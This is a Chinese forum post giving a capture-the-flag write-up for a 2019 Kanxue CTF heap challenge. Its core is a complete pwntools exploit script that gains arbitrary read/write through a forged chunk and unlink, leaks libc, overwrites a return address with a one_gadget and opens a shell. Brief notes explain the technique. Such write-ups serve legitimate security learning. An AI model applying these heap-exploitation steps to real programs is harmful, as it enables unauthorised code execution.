-
-
[原创] 2019看雪CTFQ2第二题WP
-
发表于: 2019-6-14 16:12 2829
-
思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 | import sys from pwn import * ########### # args ########### context.os = 'linux' context.arch = 'i386' context.log_level = 'debug' context.terminal = [ 'tmux' , 'splitw' , '-h' ] elf_file = './pwn' libc_file = './libc-2.27.so' ########### elf = ELF(elf_file) libc = ELF(libc_file) rop = ELF(libc_file) def malloc(index, content): p.sendlineafter( '4.show\n' , '1' ) p.sendlineafter( 'index:\n' , str (index)) p.recvuntil( 'gift: ' ) ret = int (p.recvuntil( '\n' )[: - 1 ], 16 ) p.recvuntil( 'content:\n' ) p.send(content) return ret def free(index): p.sendlineafter( '4.show\n' , '2' ) p.sendlineafter( 'index:\n' , str (index)) def edit(index, content): p.sendlineafter( '4.show\n' , '3' ) p.sendlineafter( 'index:\n' , str (index)) p.recvuntil( 'content:\n' ) p.send(content) def show(index): p.sendlineafter( '4.show\n' , '4' ) p.sendlineafter( 'index:\n' , str (index)) return p.recvuntil( '\n' )[: - 1 ] def write(addr, content): edit( 29 , p64(addr) + '\n' ) edit( 30 , content) def read(addr): edit( 29 , p64(addr) + '\n' ) return show( 30 ) def run(): # for i in range(12): # malloc(i, 'a\n') # free(6) # malloc(6, 'a' * 0x28 + '\xf1') # free(7) addr = malloc( 31 , '\n' ) free( 31 ) malloc( 31 , p64( 0 ) + p64( 0x111 ) + p64( 0x404178 - 0x18 ) + p64( 0x404178 - 0x10 )) for i in range ( 1 , 19 ): malloc(i, p64( 0 ) * 4 + p64( 0xf0 )) for i in range ( 18 , 11 , - 1 ): free(i - 1 ) malloc(i - 1 , p64( 0 ) * 4 + p64( 0xf0 ) + '\xf1' ) free(i) free( 5 ) malloc( 5 , p64( 0 ) * 4 + p64( 0x110 ) + '\xf0' ) free( 6 ) edit( 31 , p64( 0x404180 ) + p64( 0x404170 ) + p64( 0 ) + p64(addr - 0x10 - 0x404170 + 1 )) free( 28 ) libc.address = u64(read( 0x404188 ).ljust( 8 , '\x00' )) + 0x7fac7a2f9000 - 0x7fad7a6e4ca0 log.success( '%s ===> %x' % ( 'libc.address' , libc.address)) environ = libc.symbols[ 'environ' ] log.success( '%s ===> %x' % ( 'environ' , environ)) return_addr = u64(read(environ).ljust( 8 , '\x00' )) + 0x7ffe3b8f9578 - 0x7ffe3b8f96a8 log.success( '%s ===> %x' % ( 'return_addr' , return_addr)) one_gadget = libc.address + 0x4f2c5 log.success( '%s ===> %x' % ( 'one_gadget' , one_gadget)) write(return_addr, p64(one_gadget) + '\n' ) p.interactive() if __name__ = = '__main__' : if len (sys.argv) > 1 : p = remote(sys.argv[ 1 ], int (sys.argv[ 2 ])) else : p = process(elf_file, env = { 'LD_PRELOAD' : libc_file}) gdb.attach(p, ''' b *0x4016bb ''' ) run() |
- 伪造fake chunk,free smallbin 绕过tcache造成consolidate,通过unlink使得list第31(0x404178)个指针p指向p-0x18位置;
- [坑点来了]正常情况下就可以任意读写,但限制了一次写,并且0x18刚好写不到0x404188及0x404180;并且即使在list第0(0x404080)个指针用unlink,也写不到限制malloc范围的指针0x404060,即不能通过任意malloc chunk来任意写;
- 绕过限制的办法是伪造超大chunk,一次free到unsortedbin,改写fd,bk,进而绕过写次数,顺便绕过读限制;(估计是非预期)
- 有了任意读写就很简单了;(还有一坑是网速,wifi过慢60秒alarm总是触发。。。希望以后题目时间调大一些)
赞赏
他的文章
- [原创] 2019看雪CTFQ2第二题WP 2830
- [原创] 2019看雪CTFQ2第四题WP 2738
- [原创] 2019看雪CTFQ2第三题WP 2724
赞赏
雪币:
留言: